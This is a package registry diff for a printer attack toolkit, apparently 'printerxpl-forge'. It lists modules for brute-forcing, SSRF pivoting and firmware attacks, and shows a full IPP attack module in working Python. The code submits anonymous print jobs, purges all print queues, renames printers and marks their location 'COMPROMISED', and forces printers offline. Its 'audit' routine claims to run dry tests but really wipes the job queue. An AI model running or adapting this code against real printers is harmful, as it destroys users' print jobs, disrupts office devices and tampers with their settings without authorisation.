printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,609 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — IPP Attack Module
5
+ ===================================
6
+ Internet Printing Protocol (RFC 2910/2911/8011) attack operations.
7
+
8
+ Targets printers that do NOT support PJL/PS/PCL (inkjets, ESC/P, PWGRaster)
9
+ but DO expose IPP/port 631. This is the primary attack surface for modern
10
+ EPSON, Canon, HP inkjet, and AirPrint-enabled printers.
11
+
12
+ Attack categories:
13
+ 1. Information disclosure (printer attrs, jobs, queues)
14
+ 2. Anonymous job submission (no authentication required)
15
+ 3. Job cancellation / queue purge (DoS)
16
+ 4. Printer attribute manipulation (name, location, description)
17
+ 5. SSRF via IPP fetch-document / print-by-reference (see ssrf_pivot.py)
18
+ 6. Credential brute-force on IPP with HTTP digest
19
+ 7. ESC/P-R, PWGRaster, PDF raw job injection
20
+ """
21
+
22
+ # Author : Andre Henrique (@mrhenrike)
23
+ # GitHub : https://github.com/mrhenrike
24
+ # LinkedIn : https://linkedin.com/in/mrhenrike
25
+ # X/Twitter : https://x.com/mrhenrike
26
+
27
+ from __future__ import annotations
28
+
29
+ import logging
30
+ import re
31
+ import socket
32
+ import struct
33
+ import time
34
+ from typing import Dict, List, Optional, Tuple
35
+
36
+ import requests
37
+ import urllib3
38
+
39
+ urllib3.disable_warnings()
40
+
41
+ _log = logging.getLogger(__name__)
42
+
43
+ # ── IPP helpers ───────────────────────────────────────────────────────────────
44
+
45
+ _REQ_ID = 0
46
+
47
+
48
+ def _next_req_id() -> int:
49
+ global _REQ_ID
50
+ _REQ_ID += 1
51
+ return _REQ_ID
52
+
53
+
54
+ def _attr(tag: int, name: str, value: str | bytes, value_tag: int = None) -> bytes:
55
+ """Build a raw IPP attribute (name-value pair)."""
56
+ name_b = name.encode('utf-8') if isinstance(name, str) else name
57
+ if isinstance(value, str):
58
+ value_b = value.encode('utf-8')
59
+ vtag = value_tag or 0x44
60
+ elif isinstance(value, int):
61
+ value_b = struct.pack('>i', value)
62
+ vtag = value_tag or 0x21
63
+ else:
64
+ value_b = value
65
+ vtag = value_tag or 0x44
66
+ return (bytes([vtag]) +
67
+ struct.pack('>H', len(name_b)) + name_b +
68
+ struct.pack('>H', len(value_b)) + value_b)
69
+
70
+
71
+ def _build_request(op: int, printer_uri: str, attrs: list[bytes] = None) -> bytes:
72
+ req_id = _next_req_id()
73
+ body = b'\x01\x01' # IPP version 1.1
74
+ body += struct.pack('>H', op) # operation
75
+ body += struct.pack('>I', req_id) # request-id
76
+ body += b'\x01' # operation-attributes-tag
77
+ body += _attr(0x47, 'attributes-charset', 'utf-8')
78
+ body += _attr(0x48, 'attributes-natural-language', 'en')
79
+ body += _attr(0x45, 'printer-uri', printer_uri)
80
+ for a in (attrs or []):
81
+ body += a
82
+ body += b'\x03' # end-of-attributes
83
+ return body
84
+
85
+
86
+ def _post_ipp(
87
+ host: str, port: int, path: str, body: bytes,
88
+ scheme: str = 'https', timeout: float = 10,
89
+ ) -> Optional[bytes]:
90
+ """POST an IPP request and return raw bytes, or None on error."""
91
+ url = f"{scheme}://{host}:{port}{path}"
92
+ try:
93
+ r = requests.post(
94
+ url, data=body,
95
+ headers={'Content-Type': 'application/ipp',
96
+ 'Content-Length': str(len(body))},
97
+ timeout=timeout, verify=False,
98
+ )
99
+ if r.status_code in (200, 400): # 400 = IPP error, still valid IPP response
100
+ return r.content
101
+ except Exception as exc:
102
+ _log.debug("IPP POST %s failed: %s", url, exc)
103
+ return None
104
+
105
+
106
+ def _decode_text_attrs(raw: bytes) -> Dict[str, str]:
107
+ """Extract printable text attributes from raw IPP response bytes."""
108
+ text = raw.decode('latin-1', errors='replace')
109
+ attrs = {}
110
+ for name in ['printer-make-and-model', 'printer-name', 'printer-info',
111
+ 'printer-location', 'printer-device-id', 'printer-uuid',
112
+ 'printer-firmware-version', 'printer-dns-sd-name',
113
+ 'printer-state-reasons', 'printer-more-info',
114
+ 'printer-supply-info-uri', 'document-format-supported',
115
+ 'queued-job-count', 'printer-up-time', 'printer-state',
116
+ 'uri-authentication-supported']:
117
+ idx = text.find(name)
118
+ if idx >= 0:
119
+ chunk = text[idx:idx+200]
120
+ printable = ''.join(c if 32 <= ord(c) < 127 else '·' for c in chunk)
121
+ attrs[name] = printable.split('·', 2)[-1].strip()[:120]
122
+ return attrs
123
+
124
+
125
+ # ── IPP endpoint discovery ────────────────────────────────────────────────────
126
+
127
+ def discover_endpoints(
128
+ host: str, timeout: float = 5,
129
+ ) -> List[Dict]:
130
+ """
131
+ Probe common IPP endpoints and return a list of responsive ones.
132
+
133
+ Returns list of dicts: {scheme, port, path, auth, version}.
134
+ """
135
+ candidates = [
136
+ ('https', 631, '/ipp/print'),
137
+ ('https', 631, '/ipp/'),
138
+ ('https', 443, '/ipp/print'),
139
+ ('http', 631, '/ipp/print'),
140
+ ('http', 631, '/ipp/'),
141
+ ('http', 80, '/ipp/print'),
142
+ ]
143
+ found = []
144
+ for scheme, port, path in candidates:
145
+ printer_uri = f"ipp://{host}{path}"
146
+ body = _build_request(0x000B, printer_uri,
147
+ [_attr(0x44, 'requested-attributes', 'printer-state')])
148
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
149
+ if resp and len(resp) > 8:
150
+ auth_info = 'unknown'
151
+ text = resp.decode('latin-1', errors='replace')
152
+ if 'uri-authentication-supported' in text:
153
+ m = re.search(r'uri-authentication-supported(.{0,50})', text)
154
+ if m:
155
+ chunk = ''.join(c if 32 <= ord(c) < 127 else '|' for c in m.group(1))
156
+ if 'none' in chunk.lower():
157
+ auth_info = 'none (anonymous OK)'
158
+ elif 'basic' in chunk.lower():
159
+ auth_info = 'HTTP Basic'
160
+ elif 'digest' in chunk.lower():
161
+ auth_info = 'HTTP Digest'
162
+ elif 'tls' in chunk.lower():
163
+ auth_info = 'TLS client cert'
164
+ found.append({
165
+ 'scheme': scheme, 'port': port, 'path': path,
166
+ 'auth': auth_info, 'version': f"{resp[0]}.{resp[1]}",
167
+ 'uri': f"{scheme}://{host}:{port}{path}",
168
+ })
169
+ break # use first working endpoint
170
+ return found
171
+
172
+
173
+ # ── 1. Information disclosure ─────────────────────────────────────────────────
174
+
175
+ def get_printer_info(
176
+ host: str, port: int = 631, path: str = '/ipp/print',
177
+ scheme: str = 'https', timeout: float = 10,
178
+ ) -> Dict[str, str]:
179
+ """
180
+ Retrieve all printer attributes via IPP Get-Printer-Attributes (op 0x000B).
181
+
182
+ No authentication required on most consumer printers.
183
+ Returns a dict of attribute name → decoded value.
184
+ """
185
+ printer_uri = f"ipp://{host}{path}"
186
+ body = _build_request(0x000B, printer_uri,
187
+ [_attr(0x44, 'requested-attributes', 'all')])
188
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
189
+ if not resp:
190
+ return {}
191
+ attrs = _decode_text_attrs(resp)
192
+ attrs['_raw_size'] = str(len(resp))
193
+ return attrs
194
+
195
+
196
+ def list_jobs(
197
+ host: str, port: int = 631, path: str = '/ipp/print',
198
+ scheme: str = 'https', which: str = 'all', timeout: float = 10,
199
+ ) -> List[Dict]:
200
+ """
201
+ List print jobs via IPP Get-Jobs (op 0x000A).
202
+
203
+ Args:
204
+ which: 'all', 'completed', 'not-completed'
205
+
206
+ Returns list of job dicts.
207
+ """
208
+ printer_uri = f"ipp://{host}{path}"
209
+ attrs = [
210
+ _attr(0x44, 'requested-attributes', 'all'),
211
+ _attr(0x44, 'which-jobs', which),
212
+ _attr(0x21, 'limit', 50, value_tag=0x21),
213
+ ]
214
+ body = _build_request(0x000A, printer_uri, attrs)
215
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
216
+ if not resp:
217
+ return []
218
+
219
+ text = resp.decode('latin-1', errors='replace')
220
+ jobs = []
221
+ for m in re.finditer(r'job-name.{0,50}', text):
222
+ chunk = ''.join(c if 32 <= ord(c) < 127 else '|' for c in m.group(0))
223
+ jobs.append({'raw': chunk[:100]})
224
+ return jobs
225
+
226
+
227
+ # ── 2. Anonymous job submission ───────────────────────────────────────────────
228
+
229
+ def _make_raster_page(width: int = 595, height: int = 842) -> bytes:
230
+ """
231
+ Generate a minimal 1-bit PWG Raster page (blank white).
232
+
233
+ PWG Raster format: https://ftp.pwg.org/pub/pwg/candidates/cs-pwgraster10-20120130.pdf
234
+ """
235
+ # PWG Raster header
236
+ sync = b'RaS2'
237
+ # Page header (ints are big-endian 4-bytes)
238
+ def i4(n): return struct.pack('>I', n)
239
+ # 256-byte page header
240
+ phdr = b'PwgRaster\x00' # ColorSpace + Magic
241
+ phdr += b'\x00' * (64 - len(phdr)) # padding
242
+ phdr += i4(1) # HWResolutionX
243
+ phdr += i4(1) # HWResolutionY
244
+ phdr += i4(0) # ImagingBoundingBoxLeft
245
+ phdr += i4(0) # ImagingBoundingBoxBottom
246
+ phdr += i4(width) # ImagingBoundingBoxRight
247
+ phdr += i4(height) # ImagingBoundingBoxTop
248
+ phdr = phdr[:256].ljust(256, b'\x00')
249
+ # Pixel data: width pixels per line, height lines, 1-bit = all white
250
+ stride = (width + 7) // 8 # bytes per line
251
+ line = b'\xff' * stride # all white
252
+ pixels = line * height
253
+ return sync + phdr + pixels
254
+
255
+
256
+ def _make_escpr_job(text: str = 'PrinterXPL-Forge') -> bytes:
257
+ """
258
+ Build a minimal ESC/P-R initialization sequence for EPSON inkjet printers.
259
+
260
+ ESC/P-R is the EPSON proprietary raster language. This sends an empty
261
+ page with a configurable document title embedded in the escape header.
262
+ """
263
+ esc = b'\x1b'
264
+ init = (
265
+ esc + b'@' # ESC @ — initialize printer
266
+ + esc + b'(G\x01\x00\x01' # Select graphics mode
267
+ + esc + b'(R\x08\x00\x00' # Remote mode — job start
268
+ + text.encode('ascii', 'replace')[:32]
269
+ + esc + b'(K\x02\x00\x00\x00' # Set color space
270
+ + esc + b'(S\x08\x00' # Set page size (A4)
271
+ + struct.pack('<IIH', 595, 842, 0)
272
+ + b'\x0c' # Form feed (page eject)
273
+ + esc + b'(R\x08\x00\x01' + b'\x00' * 7 # Remote mode — job end
274
+ )
275
+ return init
276
+
277
+
278
+ def submit_job(
279
+ host: str,
280
+ port: int = 631,
281
+ path: str = '/ipp/print',
282
+ scheme: str = 'https',
283
+ data: bytes = None,
284
+ doc_fmt: str = 'image/pwg-raster',
285
+ job_name: str = 'test-job',
286
+ timeout: float = 15,
287
+ dry_run: bool = True,
288
+ ) -> Dict:
289
+ """
290
+ Submit an anonymous IPP print job.
291
+
292
+ By default dry_run=True (validates that anonymous submission is accepted
293
+ without actually sending the full payload).
294
+
295
+ Args:
296
+ data: Raw print data. If None, a blank PWG-Raster page is used.
297
+ doc_fmt: MIME type of the data (image/pwg-raster, image/urf,
298
+ application/vnd.epson.escpr, application/pdf, etc.)
299
+ dry_run: If True, send only the Create-Job request and validate
300
+ that the server accepts it without credentials.
301
+
302
+ Returns:
303
+ dict with keys: accepted, job_id, status_code, auth_required, message.
304
+ """
305
+ printer_uri = f"ipp://{host}{path}"
306
+ result = {
307
+ 'accepted': False, 'job_id': None,
308
+ 'status_code': None, 'auth_required': False, 'message': '',
309
+ }
310
+
311
+ # Step 1: Create-Job (op 0x0005) — test anonymous acceptance
312
+ attrs = [
313
+ _attr(0x42, 'job-name', job_name, value_tag=0x42),
314
+ _attr(0x44, 'job-priority', '', value_tag=0x21),
315
+ ]
316
+ body = _build_request(0x0005, printer_uri, attrs)
317
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
318
+ if not resp or len(resp) < 8:
319
+ result['message'] = 'No response to Create-Job'
320
+ return result
321
+
322
+ status = struct.unpack('>H', resp[2:4])[0]
323
+ result['status_code'] = status
324
+
325
+ if status in (0x0401, 0x0403):
326
+ result['auth_required'] = True
327
+ result['message'] = 'Authentication required (client-error-forbidden)'
328
+ return result
329
+ if status & 0x0400:
330
+ result['message'] = f'IPP error: 0x{status:04x}'
331
+ return result
332
+
333
+ # Extract job-id from response
334
+ text = resp.decode('latin-1', errors='replace')
335
+ m = re.search(r'job-id.(.{1,8})', text)
336
+ if m:
337
+ # job-id is a 4-byte integer after the attribute name
338
+ chunk = resp[resp.find(b'job-id') + 6: resp.find(b'job-id') + 20]
339
+ if len(chunk) >= 6:
340
+ try:
341
+ result['job_id'] = struct.unpack('>i', chunk[2:6])[0]
342
+ except Exception:
343
+ result['job_id'] = '?'
344
+
345
+ result['accepted'] = True
346
+ result['message'] = (
347
+ f"Create-Job accepted (status=0x{status:04x}, job_id={result['job_id']})"
348
+ )
349
+
350
+ if dry_run:
351
+ # Step 2 (dry run): Cancel the job immediately to not waste paper
352
+ if result['job_id'] and isinstance(result['job_id'], int):
353
+ _cancel_job(host, port, path, scheme, result['job_id'], printer_uri, timeout)
354
+ result['message'] += ' [dry-run: job cancelled]'
355
+ return result
356
+
357
+ # Step 2 (full): Send-Document (op 0x0006)
358
+ if data is None:
359
+ data = _make_raster_page()
360
+
361
+ send_attrs = [
362
+ _attr(0x45, 'printer-uri', printer_uri),
363
+ _attr(0x21, 'job-id', result['job_id'], value_tag=0x21) if isinstance(result['job_id'], int) else b'',
364
+ _attr(0x44, 'document-format', doc_fmt),
365
+ _attr(0x42, 'document-name', job_name, value_tag=0x42),
366
+ _attr(0x22, 'last-document', b'\x01', value_tag=0x22),
367
+ ]
368
+
369
+ req_id = _next_req_id()
370
+ send_body = b'\x01\x01'
371
+ send_body += struct.pack('>H', 0x0006)
372
+ send_body += struct.pack('>I', req_id)
373
+ send_body += b'\x01'
374
+ for a in send_attrs:
375
+ if a:
376
+ send_body += a
377
+ send_body += b'\x03'
378
+ send_body += data
379
+
380
+ resp2 = _post_ipp(host, port, path, send_body, scheme=scheme, timeout=timeout)
381
+ if resp2:
382
+ s2 = struct.unpack('>H', resp2[2:4])[0]
383
+ result['message'] += f' | Send-Document status=0x{s2:04x}'
384
+ return result
385
+
386
+
387
+ # ── 3. Job cancellation / queue purge ─────────────────────────────────────────
388
+
389
+ def _cancel_job(
390
+ host: str, port: int, path: str, scheme: str,
391
+ job_id: int, printer_uri: str, timeout: float,
392
+ ) -> bool:
393
+ """Cancel a specific job by ID."""
394
+ attrs = [_attr(0x21, 'job-id', job_id, value_tag=0x21)]
395
+ body = _build_request(0x0008, printer_uri, attrs)
396
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
397
+ if resp:
398
+ status = struct.unpack('>H', resp[2:4])[0]
399
+ return status == 0x0000
400
+ return False
401
+
402
+
403
+ def purge_all_jobs(
404
+ host: str,
405
+ port: int = 631,
406
+ path: str = '/ipp/print',
407
+ scheme: str = 'https',
408
+ timeout:float = 10,
409
+ ) -> Dict:
410
+ """
411
+ Send IPP Purge-Jobs (op 0x0012) to clear all queued/held jobs.
412
+
413
+ This is a DoS vector — all pending print jobs are lost.
414
+ Returns dict with status and number of jobs cancelled.
415
+ """
416
+ printer_uri = f"ipp://{host}{path}"
417
+ body = _build_request(0x0012, printer_uri)
418
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
419
+ if not resp:
420
+ return {'success': False, 'message': 'No response'}
421
+ status = struct.unpack('>H', resp[2:4])[0]
422
+ return {
423
+ 'success': status == 0x0000,
424
+ 'status_code': f'0x{status:04x}',
425
+ 'message': 'Queue purged' if status == 0x0000 else f'Error 0x{status:04x}',
426
+ }
427
+
428
+
429
+ def cancel_all_active(
430
+ host: str, port: int = 631, path: str = '/ipp/print',
431
+ scheme: str = 'https', timeout: float = 10,
432
+ ) -> List[int]:
433
+ """
434
+ List active jobs and cancel each one (fallback for printers without Purge-Jobs).
435
+
436
+ Returns list of cancelled job IDs.
437
+ """
438
+ jobs = list_jobs(host, port, path, scheme, 'not-completed', timeout)
439
+ cancelled = []
440
+ printer_uri = f"ipp://{host}{path}"
441
+ for job in jobs:
442
+ jid = job.get('id')
443
+ if jid and _cancel_job(host, port, path, scheme, jid, printer_uri, timeout):
444
+ cancelled.append(jid)
445
+ return cancelled
446
+
447
+
448
+ # ── 4. Printer attribute manipulation ────────────────────────────────────────
449
+
450
+ def set_printer_name(
451
+ host: str,
452
+ name: str,
453
+ port: int = 631,
454
+ path: str = '/ipp/print',
455
+ scheme: str = 'https',
456
+ timeout: float = 10,
457
+ ) -> bool:
458
+ """
459
+ Attempt to rename the printer via CUPS Set-Printer-Attributes.
460
+
461
+ Only works if the printer has no authentication or uses CUPS without auth.
462
+ On success, the printer's bonjour/IPP name changes network-wide.
463
+ """
464
+ printer_uri = f"ipp://{host}{path}"
465
+ attrs = [
466
+ _attr(0x42, 'printer-name', name, value_tag=0x42),
467
+ _attr(0x42, 'printer-info', name, value_tag=0x42),
468
+ _attr(0x42, 'printer-location', 'COMPROMISED', value_tag=0x42),
469
+ ]
470
+ body = _build_request(0x0022, printer_uri, attrs)
471
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
472
+ if resp:
473
+ status = struct.unpack('>H', resp[2:4])[0]
474
+ return status == 0x0000
475
+ return False
476
+
477
+
478
+ def set_printer_sleep(
479
+ host: str, port: int = 631, path: str = '/ipp/print',
480
+ scheme: str = 'https', timeout: float = 10,
481
+ ) -> bool:
482
+ """Send Deactivate-Printer (op 0x001A) to force the printer offline."""
483
+ printer_uri = f"ipp://{host}{path}"
484
+ body = _build_request(0x001A, printer_uri)
485
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
486
+ if resp:
487
+ return struct.unpack('>H', resp[2:4])[0] == 0x0000
488
+ return False
489
+
490
+
491
+ # ── 5. Identify / flash attack (IPP 2.0) ─────────────────────────────────────
492
+
493
+ def identify_printer(
494
+ host: str, port: int = 631, path: str = '/ipp/print',
495
+ scheme: str = 'https', timeout: float = 10,
496
+ action: str = 'flash',
497
+ ) -> bool:
498
+ """
499
+ Send IPP Identify-Printer (op 0x003C, IPP v2.0) to flash the printer display/LED.
500
+
501
+ Can be used to physically locate/distract a printer during a pentest.
502
+ Supported actions: 'flash', 'sound', 'display'.
503
+ """
504
+ printer_uri = f"ipp://{host}{path}"
505
+ attrs = [_attr(0x44, 'identify-actions', action)]
506
+ body = _build_request(0x003C, printer_uri, attrs)
507
+ resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
508
+ if resp:
509
+ return struct.unpack('>H', resp[2:4])[0] == 0x0000
510
+ return False
511
+
512
+
513
+ # ── 6. Full IPP audit ─────────────────────────────────────────────────────────
514
+
515
+ def audit(
516
+ host: str,
517
+ timeout: float = 10,
518
+ verbose: bool = True,
519
+ ) -> Dict:
520
+ """
521
+ Run a comprehensive IPP security audit on *host*.
522
+
523
+ Tests: endpoint discovery, anonymous job acceptance, queue listing,
524
+ job cancellation (dry), printer renaming (dry), Purge-Jobs capability.
525
+
526
+ Returns a structured dict with findings.
527
+ """
528
+ results = {
529
+ 'host': host,
530
+ 'endpoints': [],
531
+ 'printer_info': {},
532
+ 'jobs': [],
533
+ 'anon_print': None,
534
+ 'can_purge': None,
535
+ 'can_rename': None,
536
+ 'can_sleep': None,
537
+ 'can_identify': None,
538
+ 'risk': [],
539
+ }
540
+
541
+ # Discover endpoints
542
+ eps = discover_endpoints(host, timeout)
543
+ results['endpoints'] = eps
544
+ if not eps:
545
+ if verbose:
546
+ print(" [IPP] No responsive IPP endpoint found")
547
+ return results
548
+
549
+ ep = eps[0]
550
+ port, path, scheme = ep['port'], ep['path'], ep['scheme']
551
+
552
+ if verbose:
553
+ print(f" [IPP] Endpoint: {ep['uri']} auth={ep['auth']}")
554
+
555
+ # Printer info
556
+ info = get_printer_info(host, port, path, scheme, timeout)
557
+ results['printer_info'] = info
558
+ if verbose and info:
559
+ for k, v in list(info.items())[:6]:
560
+ print(f" [IPP] {k}: {v[:60]}")
561
+
562
+ # List jobs
563
+ jobs = list_jobs(host, port, path, scheme, 'all', timeout)
564
+ results['jobs'] = jobs
565
+ if verbose:
566
+ print(f" [IPP] Queued jobs: {len(jobs)}")
567
+
568
+ # Anonymous job submission (dry run)
569
+ job_res = submit_job(host, port, path, scheme,
570
+ doc_fmt='image/pwg-raster', job_name='pentest-audit',
571
+ dry_run=True, timeout=timeout)
572
+ results['anon_print'] = job_res
573
+ if job_res['accepted']:
574
+ results['risk'].append('ANONYMOUS_PRINT_ACCEPTED')
575
+ if verbose:
576
+ print(f" [IPP] \033[1;31m[VULN]\033[0m Anonymous job accepted! {job_res['message']}")
577
+ elif job_res['auth_required']:
578
+ if verbose:
579
+ print(f" [IPP] Auth required — anonymous print blocked")
580
+ else:
581
+ if verbose:
582
+ print(f" [IPP] Job submit: {job_res['message']}")
583
+
584
+ # Purge-Jobs
585
+ purge = purge_all_jobs(host, port, path, scheme, timeout)
586
+ results['can_purge'] = purge['success']
587
+ if purge['success']:
588
+ results['risk'].append('CAN_PURGE_QUEUE')
589
+ if verbose:
590
+ print(f" [IPP] \033[1;31m[VULN]\033[0m Purge-Jobs accepted (DoS vector)")
591
+
592
+ # Rename (attribute manipulation)
593
+ can_rename = set_printer_name(host, '_test_rename_', port, path, scheme, timeout)
594
+ results['can_rename'] = can_rename
595
+ if can_rename:
596
+ results['risk'].append('CAN_RENAME_PRINTER')
597
+ # Restore original name
598
+ orig_name = info.get('printer-name', 'Printer')[:50].strip('·').strip()
599
+ set_printer_name(host, orig_name or 'Printer', port, path, scheme, timeout)
600
+ if verbose:
601
+ print(f" [IPP] \033[1;31m[VULN]\033[0m Printer rename accepted (no auth)")
602
+
603
+ # Identify (flash)
604
+ can_id = identify_printer(host, port, path, scheme, timeout)
605
+ results['can_identify'] = can_id
606
+ if verbose and can_id:
607
+ print(f" [IPP] Identify-Printer (flash) accepted")
608
+
609
+ return results